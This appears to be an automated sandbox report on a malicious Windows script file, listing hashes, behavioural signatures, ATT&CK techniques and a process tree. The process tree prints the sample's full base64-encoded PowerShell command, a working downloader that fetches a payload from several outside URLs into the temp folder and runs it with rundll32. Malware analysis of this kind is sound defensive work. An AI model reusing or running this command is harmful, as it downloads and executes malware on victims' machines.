4fb643601b18870623a6ad6b4791ab7d6911815be50ab55e24254fdc541027e2

Analysis

max time kernel
130s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
12-04-2023 13:12

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General

Target

Pryetzf.wsf
Size

239KB
MD5

ab0e6bc1caa69e44b742ce3144b58669
SHA1

714577ed7130243e3d10e87f950ae6d08ebe2849
SHA256

d34a795ffbb4531a828d6af74df3bd0d06d02fc645e5617dc74ab239b915dfeb
SHA512

12fdd4bdb7a3a19a0113e62e630d002776ad43704205c28eda0df110820a93af8581c9d27d338113792be91531b1f9b4d813f68dc48a232d25812656bc81bcd7
SSDEEP

6144:tB1RO8152lGM7Cd8t2vsfULNNmdKp974ay8hiFpr5:GGMO8t2vM6aWyvFpr5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
21	732	powershell.exe
26	732	powershell.exe
29	732	powershell.exe
32	732	powershell.exe
35	732	powershell.exe
55	732	powershell.exe
59	732	powershell.exe
67	732	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
732	powershell.exe
732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	732	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 732	4680	WScript.exe	83
PID 4680 wrote to memory of 732	4680	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pryetzf.wsf"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAQQBuAGkAZABpAG8AbQBhAHQAaQBjAGEAbABNAHkAYwBlAHQAbwB6AG8AYQAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAHMAdAByAGEAZwBpAGMAaQBhAG4ALgBjAG8AbQAvAHUAcQA2ADMAbAAvAGEAZgB1AGYANAAsAGgAdAB0AHAAcwA6AC8ALwBtAG0AaABoAGYALgBjAG8AbQAvAGMAeQBvAGEATABDAGoALwA1AEkANgBhAGcAYwBZAE8AaQAsAGgAdAB0AHAAcwA6AC8ALwBuAGUAdAB1AGwAdAByAGEALgBjAG8AbQAuAGIAcgAvAGIAUwBxAEEATQBpAC8ASgBSAG4AbwAwAEsAMABDAGYALABoAHQAdABwAHMAOgAvAC8AcwBvAGEAcgBlAHMAZABlAHMAaQBnAG4AZQByAC4AYwBvAG0ALgBiAHIALwBRAGsAUwB3AHAAOAAvAHIAVwBZAHIAOAAsAGgAdAB0AHAAcwA6AC8ALwBiAHkAdABlAGQAZQBzAGkAZwBuAC4AbgBlAHQALwB2AFAAcQB5AFcAeABiAC8AMAAyADAANAAyADMALgBnAGkAZgAsAGgAdAB0AHAAcwA6AC8ALwByAHoAYgBwAG8ALgBjAG8AbQAuAGIAcgAvADAATQBxAGEARQAvAGgAMABDAHkAYQB0AFQAdgBVAHUASgAsAGgAdAB0AHAAcwA6AC8ALwBhAGwAbwBzAHQAbwBvAGwALQBzAGEALgBjAG8AbQAvAFgAcwBYAFkAbwBkAC8AcwBFAFoAcwBSAHEAUABMAEcARQBqAHQALABoAHQAdABwAHMAOgAvAC8AZwByAGEAcABoAGkAeABjAHIAZQBhAHQAaQB2AGkAdAB5AC4AYwBvAG0ALwBNAG8ASgBCAFEALwBDAGoAQwA1ADYAYwBWAEQAOAA5ADEAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAaABvAHQAbQBvAHUAdABoAGUAZABBAG4AdABoAHIAbwBwAG8AbQBvAHIAcABoAGkAcwBtACAAaQBuACAAJABBAG4AaQBkAGkAbwBtAGEAdABpAGMAYQBsAE0AeQBjAGUAdABvAHoAbwBhACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABoAG8AdABtAG8AdQB0AGgAZQBkAEEAbgB0AGgAcgBvAHAAbwBtAG8AcgBwAGgAaQBzAG0AIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADgAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAGgAbwBsAGwAeQBsAGUAYQBmAFAAcgBvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgAuAGEAeQBhAHAAYQBuAGEAUwBsAGEAdABoAGUAcgBpAG4AZwA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGgAbwBsAGwAeQBsAGUAYQBmAFAAcgBvAHYAZQBuAHQAcgBpAGMAdQBsAGEAcgAuAGEAeQBhAHAAYQBuAGEAUwBsAGEAdABoAGUAcgBpAG4AZwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABoAG8AbABsAHkAbABlAGEAZgBQAHIAbwB2AGUAbgB0AHIAaQBjAHUAbABhAHIALgBhAHkAYQBwAGEAbgBhAFMAbABhAHQAaABlAHIAaQBuAGcALABOAGkAawBuADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AH0AfQA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ecokti1.dhx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/732-133-0x0000024BD43B0000-0x0000024BD43D2000-memory.dmp

Filesize
136KB

Download
memory/732-143-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download
memory/732-144-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download
memory/732-145-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download
memory/732-146-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download
memory/732-147-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download
memory/732-148-0x0000024BB79B0000-0x0000024BB79C0000-memory.dmp

Filesize
64KB

Download